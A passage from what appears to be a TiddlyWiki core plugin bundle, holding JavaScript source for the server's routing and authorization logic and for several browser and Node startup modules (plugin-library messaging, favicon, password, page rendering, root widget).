successfully\n\t\tthis.authenticators.push(authenticator);\n\t}\n};\n\nServer.prototype.findMatchingRoute = function(request,state) {\n\tvar pathprefix = this.get(\"path-prefix\") || \"\";\n\tfor(var t=0; t<this.routes.length; t++) {\n\t\tvar potentialRoute = this.routes[t],\n\t\t\tpathRegExp = potentialRoute.path,\n\t\t\tpathname = state.urlInfo.pathname,\n\t\t\tmatch;\n\t\tif(pathprefix) {\n\t\t\tif(pathname.substr(0,pathprefix.length) === pathprefix) {\n\t\t\t\tpathname = pathname.substr(pathprefix.length) || \"/\";\n\t\t\t\tmatch = potentialRoute.path.exec(pathname);\n\t\t\t} else {\n\t\t\t\tmatch = false;\n\t\t\t}\n\t\t} else {\n\t\t\tmatch = potentialRoute.path.exec(pathname);\n\t\t}\n\t\tif(match && request.method === potentialRoute.method) {\n\t\t\tstate.params = [];\n\t\t\tfor(var p=1; p<match.length; p++) {\n\t\t\t\tstate.params.push(match[p]);\n\t\t\t}\n\t\t\treturn potentialRoute;\n\t\t}\n\t}\n\treturn null;\n};\n\nServer.prototype.methodMappings = {\n\t\"GET\": \"readers\",\n\t\"OPTIONS\": \"readers\",\n\t\"HEAD\": \"readers\",\n\t\"PUT\": \"writers\",\n\t\"POST\": \"writers\",\n\t\"DELETE\": \"writers\"\n};\n\n/*\nCheck whether a given user is authorized for the specified authorizationType (\"readers\" or \"writers\"). Pass null or undefined as the username to check for anonymous access\n*/\nServer.prototype.isAuthorized = function(authorizationType,username) {\n\tvar principals = this.authorizationPrincipals[authorizationType] || [];\n\treturn principals.indexOf(\"(anon)\") !== -1 || (username && (principals.indexOf(\"(authenticated)\") !== -1 || principals.indexOf(username) !== -1));\n}\n\nServer.prototype.requestHandler = function(request,response) {\n\t// Compose the state object\n\tvar self = this;\n\tvar state = {};\n\tstate.wiki = self.wiki;\n\tstate.server = self;\n\tstate.urlInfo = url.parse(request.url);\n\t// Get the principals authorized to access this resource\n\tvar authorizationType = this.methodMappings[request.method] || \"readers\";\n\t// Check for the CSRF header if this is a write\n\tif(!this.csrfDisable && authorizationType === \"writers\" && request.headers[\"x-requested-with\"] !== \"TiddlyWiki\") {\n\t\tresponse.writeHead(403,\"'X-Requested-With' header required to login to '\" + this.servername + \"'\");\n\t\tresponse.end();\n\t\treturn;\t\t\n\t}\n\t// Check whether anonymous access is granted\n\tstate.allowAnon = this.isAuthorized(authorizationType,null);\n\t// Authenticate with the first active authenticator\n\tif(this.authenticators.length > 0) {\n\t\tif(!this.authenticators[0].authenticateRequest(request,response,state)) {\n\t\t\t// Bail if we failed (the authenticator will have sent the response)\n\t\t\treturn;\n\t\t}\t\t\n\t}\n\t// Authorize with the authenticated username\n\tif(!this.isAuthorized(authorizationType,state.authenticatedUsername)) {\n\t\tresponse.writeHead(401,\"'\" + state.authenticatedUsername + \"' is not authorized to access '\" + this.servername + \"'\");\n\t\tresponse.end();\n\t\treturn;\n\t}\n\t// Find the route that matches this path\n\tvar route = self.findMatchingRoute(request,state);\n\t// Optionally output debug info\n\tif(self.get(\"debug-level\") !== \"none\") {\n\t\tconsole.log(\"Request path:\",JSON.stringify(state.urlInfo));\n\t\tconsole.log(\"Request headers:\",JSON.stringify(request.headers));\n\t\tconsole.log(\"authenticatedUsername:\",state.authenticatedUsername);\n\t}\n\t// Return a 404 if we didn't find a route\n\tif(!route) {\n\t\tresponse.writeHead(404);\n\t\tresponse.end();\n\t\treturn;\n\t}\n\t// Receive the request body if necessary and hand off to the route handler\n\tif(route.bodyFormat === \"stream\" || request.method === \"GET\" || request.method === \"HEAD\") {\n\t\t// Let the route handle the request stream itself\n\t\troute.handler(request,response,state);\n\t} else if(route.bodyFormat === \"string\" || !route.bodyFormat) {\n\t\t// Set the encoding for the incoming request\n\t\trequest.setEncoding(\"utf8\");\n\t\tvar data = \"\";\n\t\trequest.on(\"data\",function(chunk) {\n\t\t\tdata += chunk.toString();\n\t\t});\n\t\trequest.on(\"end\",function() {\n\t\t\tstate.data = data;\n\t\t\troute.handler(request,response,state);\n\t\t});\n\t} else if(route.bodyFormat === \"buffer\") {\n\t\tvar data = [];\n\t\trequest.on(\"data\",function(chunk) {\n\t\t\tdata.push(chunk);\n\t\t});\n\t\trequest.on(\"end\",function() {\n\t\t\tstate.data = Buffer.concat(data);\n\t\t\troute.handler(request,response,state);\n\t\t})\n\t} else {\n\t\tresponse.writeHead(400,\"Invalid bodyFormat \" + route.bodyFormat + \" in route \" + route.method + \" \" + route.path.source);\n\t\tresponse.end();\n\t}\n};\n\n/*\nListen for requests\nport: optional port number (falls back to value of \"port\" variable)\nhost: optional host address (falls back to value of \"hist\" variable)\n*/\nServer.prototype.listen = function(port,host) {\n\t// Handle defaults for port and host\n\tport = port || this.get(\"port\");\n\thost = host || this.get(\"host\");\n\t// Check for the port being a string and look it up as an environment variable\n\tif(parseInt(port,10).toString() !== port) {\n\t\tport = process.env[port] || 8080;\n\t}\n\t$tw.utils.log(\"Serving on \" + this.protocol + \"://\" + host + \":\" + port,\"brown/orange\");\n\t$tw.utils.log(\"(press ctrl-C to exit)\",\"red\");\n\t// Warn if required plugins are missing\n\tif(!$tw.wiki.getTiddler(\"$:/plugins/tiddlywiki/tiddlyweb\") || !$tw.wiki.getTiddler(\"$:/plugins/tiddlywiki/filesystem\")) {\n\t\t$tw.utils.warning(\"Warning: Plugins required for client-server operation (\\\"tiddlywiki/filesystem\\\" and \\\"tiddlywiki/tiddlyweb\\\") are missing from tiddlywiki.info file\");\n\t}\n\t// Listen\n\tvar server;\n\tif(this.listenOptions) {\n\t\tserver = this.transport.createServer(this.listenOptions,this.requestHandler.bind(this));\n\t} else {\n\t\tserver = this.transport.createServer(this.requestHandler.bind(this));\n\t}\n\treturn server.listen(port,host);\n};\n\nexports.Server = Server;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "library"
        },
        "$:/core/modules/browser-messaging.js": {
            "title": "$:/core/modules/browser-messaging.js",
            "text": "/*\\\ntitle: $:/core/modules/browser-messaging.js\ntype: application/javascript\nmodule-type: startup\n\nBrowser message handling\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"browser-messaging\";\nexports.platforms = [\"browser\"];\nexports.after = [\"startup\"];\nexports.synchronous = true;\n\n/*\nLoad a specified url as an iframe and call the callback when it is loaded. If the url is already loaded then the existing iframe instance is used\n*/\nfunction loadIFrame(url,callback) {\n\t// Check if iframe already exists\n\tvar iframeInfo = $tw.browserMessaging.iframeInfoMap[url];\n\tif(iframeInfo) {\n\t\t// We've already got the iframe\n\t\tcallback(null,iframeInfo);\n\t} else {\n\t\t// Create the iframe and save it in the list\n\t\tvar iframe = document.createElement(\"iframe\");\n\t\tiframeInfo = {\n\t\t\turl: url,\n\t\t\tstatus: \"loading\",\n\t\t\tdomNode: iframe\n\t\t};\n\t\t$tw.browserMessaging.iframeInfoMap[url] = iframeInfo;\n\t\tsaveIFrameInfoTiddler(iframeInfo);\n\t\t// Add the iframe to the DOM and hide it\n\t\tiframe.style.display = \"none\";\n\t\tiframe.setAttribute(\"library\",\"true\");\n\t\tdocument.body.appendChild(iframe);\n\t\t// Set up onload\n\t\tiframe.onload = function() {\n\t\t\tiframeInfo.status = \"loaded\";\n\t\t\tsaveIFrameInfoTiddler(iframeInfo);\n\t\t\tcallback(null,iframeInfo);\n\t\t};\n\t\tiframe.onerror = function() {\n\t\t\tcallback(\"Cannot load iframe\");\n\t\t};\n\t\ttry {\n\t\t\tiframe.src = url;\n\t\t} catch(ex) {\n\t\t\tcallback(ex);\n\t\t}\n\t}\n}\n\n/*\nUnload library iframe for given url\n*/\nfunction unloadIFrame(url){\n\t$tw.utils.each(document.getElementsByTagName('iframe'), function(iframe) {\n\t\tif(iframe.getAttribute(\"library\") === \"true\" &&\n\t\t  iframe.getAttribute(\"src\") === url) {\n\t\t\tiframe.parentNode.removeChild(iframe);\n\t\t}\n\t});\n}\n\nfunction saveIFrameInfoTiddler(iframeInfo) {\n\t$tw.wiki.addTiddler(new $tw.Tiddler($tw.wiki.getCreationFields(),{\n\t\ttitle: \"$:/temp/ServerConnection/\" + iframeInfo.url,\n\t\ttext: iframeInfo.status,\n\t\ttags: [\"$:/tags/ServerConnection\"],\n\t\turl: iframeInfo.url\n\t},$tw.wiki.getModificationFields()));\n}\n\nexports.startup = function() {\n\t// Initialise the store of iframes we've created\n\t$tw.browserMessaging = {\n\t\tiframeInfoMap: {} // Hashmap by URL of {url:,status:\"loading/loaded\",domNode:}\n\t};\n\t// Listen for widget messages to control loading the plugin library\n\t$tw.rootWidget.addEventListener(\"tm-load-plugin-library\",function(event) {\n\t\tvar paramObject = event.paramObject || {},\n\t\t\turl = paramObject.url;\n\t\tif(url) {\n\t\t\tloadIFrame(url,function(err,iframeInfo) {\n\t\t\t\tif(err) {\n\t\t\t\t\talert($tw.language.getString(\"Error/LoadingPluginLibrary\") + \": \" + url);\n\t\t\t\t} else {\n\t\t\t\t\tiframeInfo.domNode.contentWindow.postMessage({\n\t\t\t\t\t\tverb: \"GET\",\n\t\t\t\t\t\turl: \"recipes/library/tiddlers.json\",\n\t\t\t\t\t\tcookies: {\n\t\t\t\t\t\t\ttype: \"save-info\",\n\t\t\t\t\t\t\tinfoTitlePrefix: paramObject.infoTitlePrefix || \"$:/temp/RemoteAssetInfo/\",\n\t\t\t\t\t\t\turl: url\n\t\t\t\t\t\t}\n\t\t\t\t\t},\"*\");\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t});\n\t// Listen for widget messages to control unloading the plugin library\n\t$tw.rootWidget.addEventListener(\"tm-unload-plugin-library\",function(event) {\n\t\tvar paramObject = event.paramObject || {},\n\t\t\turl = paramObject.url;\n\t\t$tw.browserMessaging.iframeInfoMap[url] = undefined;\n\t\tif(url) {\n\t\t\tunloadIFrame(url);\n\t\t\t$tw.utils.each(\n\t\t\t\t$tw.wiki.filterTiddlers(\"[[$:/temp/ServerConnection/\" + url + \"]] [prefix[$:/temp/RemoteAssetInfo/\" + url + \"/]]\"),\n\t\t\t\tfunction(title) {\n\t\t\t\t\t$tw.wiki.deleteTiddler(title);\n\t\t\t\t}\n\t\t\t);\n\t\t}\n\t});\n\t$tw.rootWidget.addEventListener(\"tm-load-plugin-from-library\",function(event) {\n\t\tvar paramObject = event.paramObject || {},\n\t\t\turl = paramObject.url,\n\t\t\ttitle = paramObject.title;\n\t\tif(url && title) {\n\t\t\tloadIFrame(url,function(err,iframeInfo) {\n\t\t\t\tif(err) {\n\t\t\t\t\talert($tw.language.getString(\"Error/LoadingPluginLibrary\") + \": \" + url);\n\t\t\t\t} else {\n\t\t\t\t\tiframeInfo.domNode.contentWindow.postMessage({\n\t\t\t\t\t\tverb: \"GET\",\n\t\t\t\t\t\turl: \"recipes/library/tiddlers/\" + encodeURIComponent(title) + \".json\",\n\t\t\t\t\t\tcookies: {\n\t\t\t\t\t\t\ttype: \"save-tiddler\",\n\t\t\t\t\t\t\turl: url\n\t\t\t\t\t\t}\n\t\t\t\t\t},\"*\");\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t});\n\t// Listen for window messages from other windows\n\twindow.addEventListener(\"message\",function listener(event){\n\t\tconsole.log(\"browser-messaging: \",document.location.toString())\n\t\tconsole.log(\"browser-messaging: Received message from\",event.origin);\n\t\tconsole.log(\"browser-messaging: Message content\",event.data);\n\t\tswitch(event.data.verb) {\n\t\t\tcase \"GET-RESPONSE\":\n\t\t\t\tif(event.data.status.charAt(0) === \"2\") {\n\t\t\t\t\tif(event.data.cookies) {\n\t\t\t\t\t\tif(event.data.cookies.type === \"save-info\") {\n\t\t\t\t\t\t\tvar tiddlers = JSON.parse(event.data.body);\n\t\t\t\t\t\t\t$tw.utils.each(tiddlers,function(tiddler) {\n\t\t\t\t\t\t\t\t$tw.wiki.addTiddler(new $tw.Tiddler($tw.wiki.getCreationFields(),tiddler,{\n\t\t\t\t\t\t\t\t\ttitle: event.data.cookies.infoTitlePrefix + event.data.cookies.url + \"/\" + tiddler.title,\n\t\t\t\t\t\t\t\t\t\"original-title\": tiddler.title,\n\t\t\t\t\t\t\t\t\ttext: \"\",\n\t\t\t\t\t\t\t\t\ttype: \"text/vnd.tiddlywiki\",\n\t\t\t\t\t\t\t\t\t\"original-type\": tiddler.type,\n\t\t\t\t\t\t\t\t\t\"plugin-type\": undefined,\n\t\t\t\t\t\t\t\t\t\"original-plugin-type\": tiddler[\"plugin-type\"],\n\t\t\t\t\t\t\t\t\t\"module-type\": undefined,\n\t\t\t\t\t\t\t\t\t\"original-module-type\": tiddler[\"module-type\"],\n\t\t\t\t\t\t\t\t\ttags: [\"$:/tags/RemoteAssetInfo\"],\n\t\t\t\t\t\t\t\t\t\"original-tags\": $tw.utils.stringifyList(tiddler.tags || []),\n\t\t\t\t\t\t\t\t\t\"server-url\": event.data.cookies.url\n\t\t\t\t\t\t\t\t},$tw.wiki.getModificationFields()));\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t} else if(event.data.cookies.type === \"save-tiddler\") {\n\t\t\t\t\t\t\tvar tiddler = JSON.parse(event.data.body);\n\t\t\t\t\t\t\t$tw.wiki.addTiddler(new $tw.Tiddler(tiddler));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t},false);\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "startup"
        },
        "$:/core/modules/startup/commands.js": {
            "title": "$:/core/modules/startup/commands.js",
            "text": "/*\\\ntitle: $:/core/modules/startup/commands.js\ntype: application/javascript\nmodule-type: startup\n\nCommand processing\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"commands\";\nexports.platforms = [\"node\"];\nexports.after = [\"story\"];\nexports.synchronous = false;\n\nexports.startup = function(callback) {\n\t// On the server, start a commander with the command line arguments\n\tvar commander = new $tw.Commander(\n\t\t$tw.boot.argv,\n\t\tfunction(err) {\n\t\t\tif(err) {\n\t\t\t\treturn $tw.utils.error(\"Error: \" + err);\n\t\t\t}\n\t\t\tcallback();\n\t\t},\n\t\t$tw.wiki,\n\t\t{output: process.stdout, error: process.stderr}\n\t);\n\tcommander.execute();\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "startup"
        },
        "$:/core/modules/startup/favicon.js": {
            "title": "$:/core/modules/startup/favicon.js",
            "text": "/*\\\ntitle: $:/core/modules/startup/favicon.js\ntype: application/javascript\nmodule-type: startup\n\nFavicon handling\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"favicon\";\nexports.platforms = [\"browser\"];\nexports.after = [\"startup\"];\nexports.synchronous = true;\n\t\t\n// Favicon tiddler\nvar FAVICON_TITLE = \"$:/favicon.ico\";\n\nexports.startup = function() {\n\t// Set up the favicon\n\tsetFavicon();\n\t// Reset the favicon when the tiddler changes\n\t$tw.wiki.addEventListener(\"change\",function(changes) {\n\t\tif($tw.utils.hop(changes,FAVICON_TITLE)) {\n\t\t\tsetFavicon();\n\t\t}\n\t});\n};\n\nfunction setFavicon() {\n\tvar tiddler = $tw.wiki.getTiddler(FAVICON_TITLE);\n\tif(tiddler) {\n\t\tvar faviconLink = document.getElementById(\"faviconLink\");\n\t\tfaviconLink.setAttribute(\"href\",\"data:\" + tiddler.fields.type + \";base64,\" + tiddler.fields.text);\n\t}\n}\n\n})();\n",
            "type": "application/javascript",
            "module-type": "startup"
        },
        "$:/core/modules/startup/info.js": {
            "title": "$:/core/modules/startup/info.js",
            "text": "/*\\\ntitle: $:/core/modules/startup/info.js\ntype: application/javascript\nmodule-type: startup\n\nInitialise $:/info tiddlers via $:/temp/info-plugin pseudo-plugin\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"info\";\nexports.before = [\"startup\"];\nexports.after = [\"load-modules\"];\nexports.synchronous = true;\n\nexports.startup = function() {\n\t// Collect up the info tiddlers\n\tvar infoTiddlerFields = {};\n\t// Give each info module a chance to fill in as many info tiddlers as they want\n\t$tw.modules.forEachModuleOfType(\"info\",function(title,moduleExports) {\n\t\tif(moduleExports && moduleExports.getInfoTiddlerFields) {\n\t\t\tvar tiddlerFieldsArray = moduleExports.getInfoTiddlerFields(infoTiddlerFields);\n\t\t\t$tw.utils.each(tiddlerFieldsArray,function(fields) {\n\t\t\t\tif(fields) {\n\t\t\t\t\tinfoTiddlerFields[fields.title] = fields;\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t});\n\t// Bake the info tiddlers into a plugin\n\tvar fields = {\n\t\ttitle: \"$:/temp/info-plugin\",\n\t\ttype: \"application/json\",\n\t\t\"plugin-type\": \"info\",\n\t\ttext: JSON.stringify({tiddlers: infoTiddlerFields},null,$tw.config.preferences.jsonSpaces)\n\t};\n\t$tw.wiki.addTiddler(new $tw.Tiddler(fields));\n\t$tw.wiki.readPluginInfo();\n\t$tw.wiki.registerPluginTiddlers(\"info\");\n\t$tw.wiki.unpackPluginTiddlers();\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "startup"
        },
        "$:/core/modules/startup/load-modules.js": {
            "title": "$:/core/modules/startup/load-modules.js",
            "text": "/*\\\ntitle: $:/core/modules/startup/load-modules.js\ntype: application/javascript\nmodule-type: startup\n\nLoad core modules\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"load-modules\";\nexports.synchronous = true;\n\nexports.startup = function() {\n\t// Load modules\n\t$tw.modules.applyMethods(\"utils\",$tw.utils);\n\tif($tw.node) {\n\t\t$tw.modules.applyMethods(\"utils-node\",$tw.utils);\n\t}\n\t$tw.modules.applyMethods(\"global\",$tw);\n\t$tw.modules.applyMethods(\"config\",$tw.config);\n\t$tw.Tiddler.fieldModules = $tw.modules.getModulesByTypeAsHashmap(\"tiddlerfield\");\n\t$tw.modules.applyMethods(\"tiddlermethod\",$tw.Tiddler.prototype);\n\t$tw.modules.applyMethods(\"wikimethod\",$tw.Wiki.prototype);\n\t$tw.modules.applyMethods(\"tiddlerdeserializer\",$tw.Wiki.tiddlerDeserializerModules);\n\t$tw.macros = $tw.modules.getModulesByTypeAsHashmap(\"macro\");\n\t$tw.wiki.initParsers();\n\t$tw.Commander.initCommands();\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "startup"
        },
        "$:/core/modules/startup/password.js": {
            "title": "$:/core/modules/startup/password.js",
            "text": "/*\\\ntitle: $:/core/modules/startup/password.js\ntype: application/javascript\nmodule-type: startup\n\nPassword handling\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"password\";\nexports.platforms = [\"browser\"];\nexports.after = [\"startup\"];\nexports.synchronous = true;\n\nexports.startup = function() {\n\t$tw.rootWidget.addEventListener(\"tm-set-password\",function(event) {\n\t\t$tw.passwordPrompt.createPrompt({\n\t\t\tserviceName: $tw.language.getString(\"Encryption/PromptSetPassword\"),\n\t\t\tnoUserName: true,\n\t\t\tsubmitText: $tw.language.getString(\"Encryption/SetPassword\"),\n\t\t\tcanCancel: true,\n\t\t\trepeatPassword: true,\n\t\t\tcallback: function(data) {\n\t\t\t\tif(data) {\n\t\t\t\t\t$tw.crypto.setPassword(data.password);\n\t\t\t\t}\n\t\t\t\treturn true; // Get rid of the password prompt\n\t\t\t}\n\t\t});\n\t});\n\t$tw.rootWidget.addEventListener(\"tm-clear-password\",function(event) {\n\t\tif($tw.browser) {\n\t\t\tif(!confirm($tw.language.getString(\"Encryption/ConfirmClearPassword\"))) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\t$tw.crypto.setPassword(null);\n\t});\n\t// Ensure that $:/isEncrypted is maintained properly\n\t$tw.wiki.addEventListener(\"change\",function(changes) {\n\t\tif($tw.utils.hop(changes,\"$:/isEncrypted\")) {\n\t\t\t$tw.crypto.updateCryptoStateTiddler();\n\t\t}\n\t});\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "startup"
        },
        "$:/core/modules/startup/render.js": {
            "title": "$:/core/modules/startup/render.js",
            "text": "/*\\\ntitle: $:/core/modules/startup/render.js\ntype: application/javascript\nmodule-type: startup\n\nTitle, stylesheet and page rendering\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"render\";\nexports.platforms = [\"browser\"];\nexports.after = [\"story\"];\nexports.synchronous = true;\n\n// Default story and history lists\nvar PAGE_TITLE_TITLE = \"$:/core/wiki/title\";\nvar PAGE_STYLESHEET_TITLE = \"$:/core/ui/PageStylesheet\";\nvar PAGE_TEMPLATE_TITLE = \"$:/core/ui/PageTemplate\";\n\n// Time (in ms) that we defer refreshing changes to draft tiddlers\nvar DRAFT_TIDDLER_TIMEOUT_TITLE = \"$:/config/Drafts/TypingTimeout\";\nvar DRAFT_TIDDLER_TIMEOUT = 400;\n\nexports.startup = function() {\n\t// Set up the title\n\t$tw.titleWidgetNode = $tw.wiki.makeTranscludeWidget(PAGE_TITLE_TITLE,{document: $tw.fakeDocument, parseAsInline: true});\n\t$tw.titleContainer = $tw.fakeDocument.createElement(\"div\");\n\t$tw.titleWidgetNode.render($tw.titleContainer,null);\n\tdocument.title = $tw.titleContainer.textContent;\n\t$tw.wiki.addEventListener(\"change\",function(changes) {\n\t\tif($tw.titleWidgetNode.refresh(changes,$tw.titleContainer,null)) {\n\t\t\tdocument.title = $tw.titleContainer.textContent;\n\t\t}\n\t});\n\t// Set up the styles\n\t$tw.styleWidgetNode = $tw.wiki.makeTranscludeWidget(PAGE_STYLESHEET_TITLE,{document: $tw.fakeDocument});\n\t$tw.styleContainer = $tw.fakeDocument.createElement(\"style\");\n\t$tw.styleWidgetNode.render($tw.styleContainer,null);\n\t$tw.styleElement = document.createElement(\"style\");\n\t$tw.styleElement.innerHTML = $tw.styleContainer.textContent;\n\tdocument.head.insertBefore($tw.styleElement,document.head.firstChild);\n\t$tw.wiki.addEventListener(\"change\",$tw.perf.report(\"styleRefresh\",function(changes) {\n\t\tif($tw.styleWidgetNode.refresh(changes,$tw.styleContainer,null)) {\n\t\t\t$tw.styleElement.innerHTML = $tw.styleContainer.textContent;\n\t\t}\n\t}));\n\t// Display the $:/core/ui/PageTemplate tiddler to kick off the display\n\t$tw.perf.report(\"mainRender\",function() {\n\t\t$tw.pageWidgetNode = $tw.wiki.makeTranscludeWidget(PAGE_TEMPLATE_TITLE,{document: document, parentWidget: $tw.rootWidget});\n\t\t$tw.pageContainer = document.createElement(\"div\");\n\t\t$tw.utils.addClass($tw.pageContainer,\"tc-page-container-wrapper\");\n\t\tdocument.body.insertBefore($tw.pageContainer,document.body.firstChild);\n\t\t$tw.pageWidgetNode.render($tw.pageContainer,null);\n   \t\t$tw.hooks.invokeHook(\"th-page-refreshed\");\n\t})();\n\t// Remove any splash screen elements\n\tvar removeList = document.querySelectorAll(\".tc-remove-when-wiki-loaded\");\n\t$tw.utils.each(removeList,function(removeItem) {\n\t\tif(removeItem.parentNode) {\n\t\t\tremoveItem.parentNode.removeChild(removeItem);\n\t\t}\n\t});\n\t// Prepare refresh mechanism\n\tvar deferredChanges = Object.create(null),\n\t\ttimerId;\n\tfunction refresh() {\n\t\t// Process the refresh\n\t\t$tw.pageWidgetNode.refresh(deferredChanges);\n\t\tdeferredChanges = Object.create(null);\n   \t\t$tw.hooks.invokeHook(\"th-page-refreshed\");\n\t}\n\t// Add the change event handler\n\t$tw.wiki.addEventListener(\"change\",$tw.perf.report(\"mainRefresh\",function(changes) {\n\t\t// Check if only drafts have changed\n\t\tvar onlyDraftsHaveChanged = true;\n\t\tfor(var title in changes) {\n\t\t\tvar tiddler = $tw.wiki.getTiddler(title);\n\t\t\tif(!tiddler || !tiddler.hasField(\"draft.of\")) {\n\t\t\t\tonlyDraftsHaveChanged = false;\n\t\t\t}\n\t\t}\n\t\t// Defer the change if only drafts have changed\n\t\tif(timerId) {\n\t\t\tclearTimeout(timerId);\n\t\t}\n\t\ttimerId = null;\n\t\tif(onlyDraftsHaveChanged) {\n\t\t\tvar timeout = parseInt($tw.wiki.getTiddlerText(DRAFT_TIDDLER_TIMEOUT_TITLE,\"\"),10);\n\t\t\tif(isNaN(timeout)) {\n\t\t\t\ttimeout = DRAFT_TIDDLER_TIMEOUT;\n\t\t\t}\n\t\t\ttimerId = setTimeout(refresh,timeout);\n\t\t\t$tw.utils.extend(deferredChanges,changes);\n\t\t} else {\n\t\t\t$tw.utils.extend(deferredChanges,changes);\n\t\t\trefresh();\n\t\t}\n\t}));\n\t// Fix up the link between the root widget and the page container\n\t$tw.rootWidget.domNodes = [$tw.pageContainer];\n\t$tw.rootWidget.children = [$tw.pageWidgetNode];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "startup"
        },
        "$:/core/modules/startup/rootwidget.js": {
            "title": "$:/core/modules/startup/rootwidget.js",
            "text": "/*\\\ntitle: $:/core/modules/startup/rootwidget.js\ntype: application/javascript\nmodule-type: startup\n\nSetup the root widget and the core root widget handlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"rootwidget\";\nexports.platforms = [\"browser\"];\nexports.after = [\"startup\"];\nexports.before = [\"story\"];\nexports.synchronous = true;\n\nexports.startup = function() {\n\t// Install the modal message mechanism\n\t$tw.modal = new $tw.utils.Modal($tw.wiki);\n\t$tw.rootWidget.addEventListener(\"tm-modal\",function(event) {\n\t\t$tw.modal.display(event.param,{variables: event.paramObject, event: event});\n\t});\n\t// Install the notification  mechanism\n\t$tw.notifier = new $tw.utils.Notifier($tw.wiki);\n\t$tw.rootWidget.addEventListener(\"tm-notify\",function(event) {\n\t\t$tw.notifier.display(event.param,{variables: event.paramObject});\n\t});\n\t// Install the copy-to-clipboard  mechanism\n\t$tw.rootWidget.addEventListener(\"tm-copy-to-clipboard\",function(event) {\n\t\t$tw.utils.copyToClipboard(event.param);\n\t});\n\t// Install the scroller\n\t$tw.pageScroller = new $tw.utils.PageScroller();\n\t$tw.rootWidget.addEventListener(\"tm-scroll\",function(event) {\n\t\t$tw.pageScroller.handleEvent(event);\n\t});\n\tvar fullscreen = $tw.utils.getFullScreenApis();\n\tif(fullscreen) {\n\t\t$tw.rootWidget.addEventListener(\"tm-full-screen\",function(event) {\n\t\t\tif(event.param === \"enter\") {\n\t\t\t\tevent.event.target.ownerDocument.documentElement[fullscreen._requestFullscreen](Element.ALLOW_KEYBOARD_INPUT);\n\t\t\t} else if(event.param === \"exit\") {\n\t\t\t\tevent.event.target.ownerDocument[fullscreen._exitFullscreen]();\n\t\t\t} else {\n\t\t\t\tif(event.event.target.ownerDocument[fullscreen._fullscreenElement]) {\n\t\t\t\t\tevent.event.target.ownerDocument[fullscreen._exitFullscreen]();\n\t\t\t\t} else {\n\t\t\t\t\tevent.event.target.ownerDocument.documentElement[fullscreen._requestFullscreen](Element.ALLOW_KEYBOARD_INPUT);\n\t\t\t\t}\t\t\t\t\n\t\t\t}\n\t\t});\n\t}\n\t// If we're being viewed on a data: URI then give instructions for how to save\n\tif(document.location.protocol === \"data:\") {\n\t\t$tw.rootWidget.dispatchEvent({\n\t\t\ttype: \"tm-modal\",\n\t\t\tparam: \"$:/language/Modals/SaveInstructions\"\n\t\t});\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "startup"
        },
        "$:/core/modules/startup.js": {
            "title": "$:/core/modules/startup.js",
            "text": "/*\\\ntitle: $:/core/modules/startup.js\ntype: application/javascript\nmodule-type: startup\n\nMiscellaneous startup logic for both the client and server.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"startup\";\nexports.after = [\"load-modules\"];\nexports.synchronous = true;\n\n// Set to `true` to enable performance instrumentation\nvar PERFORMANCE_INSTRUMENTATION_CONFIG_TITLE = \"$:/config/Performance/Instrumentation\";\n\nvar widget = require(\"$:/core/modules/widgets/widget.js\");\n\nexports.startup = function() {\n\tvar modules,n,m,f;\n\t// Minimal browser detection\n\tif($tw.browser) {\n\t\t$tw.browser.isIE = (/msie|trident/i.test(navigator.userAgent));\n\t\t$tw.browser.isFirefox = !!document.mozFullScreenEnabled;\n\t}\n\t// Platform detection\n\t$tw.platform = {};\n\tif($tw.browser) {\n\t\t$tw.platform.isMac = /Mac/.test(navigator.platform);\n\t\t$tw.platform.isWindows = /win/i.test(navigator.platform);\n\t\t$tw.platform.isLinux = /Linux/i.test(navigator.platform);\n\t} else {\n\t\tswitch(require(\"os\").platform()) {\n\t\t\tcase \"darwin\":\n\t\t\t\t$tw.platform.isMac = true;\n\t\t\t\tbreak;\n\t\t\tcase \"win32\":\n\t\t\t\t$tw.platform.isWindows = true;\n\t\t\t\tbreak;\n\t\t\tcase \"freebsd\":\n\t\t\t\t$tw.platform.isLinux = true;\n\t\t\t\tbreak;\n\t\t\tcase \"linux\":\n\t\t\t\t$tw.platform.isLinux = true;\n\t\t\t\tbreak;\n\t\t}\n\t}\n\t// Initialise version\n\t$tw.version = $tw.utils.extractVersionInfo();\n\t// Set up the performance framework\n\t$tw.perf = new $tw.Performance($tw.wiki.getTiddlerText(PERFORMANCE_INSTRUMENTATION_CONFIG_TITLE,\"no\") === \"yes\");\n\t// Kick off the language manager and switcher\n\t$tw.language = new $tw.Language();\n\t$tw.languageSwitcher = new 